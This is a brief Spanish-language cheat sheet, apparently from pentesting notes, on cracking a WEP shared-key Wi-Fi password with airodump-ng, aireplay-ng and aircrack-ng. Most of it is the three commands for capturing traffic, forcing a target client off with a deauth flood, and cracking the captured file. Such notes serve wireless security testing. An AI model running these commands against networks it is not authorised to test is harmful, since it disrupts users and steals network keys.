SKA Type Cracking
Ataque usado para la obtención de contraseña. Aprovecha debilidad en autenticación compartida (Shared Key) donde el AP envía un desafío cifrado que puede ser usado para descifrar la clave.
Capturar tráfico con Airodump-ng por mucho tiempo
sudo airodump-ng --write traffic_file --bssid <MAC_AP> --channel <channel_AP> <wifi_interface>
En paralelo, ejecutar ataque deauth con Aireplay-ng sobre MAC de cliente objetivo
sudo aireplay-ng --deauth <number_deauth_packets> -e <NAME_AP> -c <MAC_CLIENT> <wifi_interface>
Crackear contraseña con Aircrack-ng desde fichero con tráfico capturado en Airodump-ng
sudo aircrack-ng -z –b <MAC_AP> traffic_file.cap